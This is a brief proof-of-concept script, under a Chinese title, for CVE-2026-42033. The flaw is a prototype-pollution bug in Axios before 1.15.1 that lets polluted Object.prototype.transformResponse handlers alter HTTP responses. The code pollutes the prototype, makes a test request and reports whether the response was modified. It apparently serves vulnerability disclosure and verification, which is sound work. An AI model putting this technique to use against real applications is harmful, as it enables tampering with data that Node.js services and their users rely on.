CVE-2026-42033 Axios原型污染致响应劫持漏洞

// Proof of Concept for CVE-2026-42033 // Prerequisite: Prototype pollution must exist in the process // This simulates pollution from another dependency // 1. Pollute the prototype Object.prototype.transformResponse = [ (data) => { console.log('[PoC] Response intercepted via prototype pollution'); // Modify the response data data.hijacked = true; return data; } ]; const axios = require('axios'); // Vulnerable version < 1.15.1 // 2. Make a request axios.get('https://httpbin.org/get') .then(response => { // 3. Check if data was modified if (response.data.hijacked) { console.log('[PoC] Vulnerability confirmed: Response was modified.'); } else { console.log('[PoC] Vulnerability not triggered.'); } }) .catch(err => console.error(err));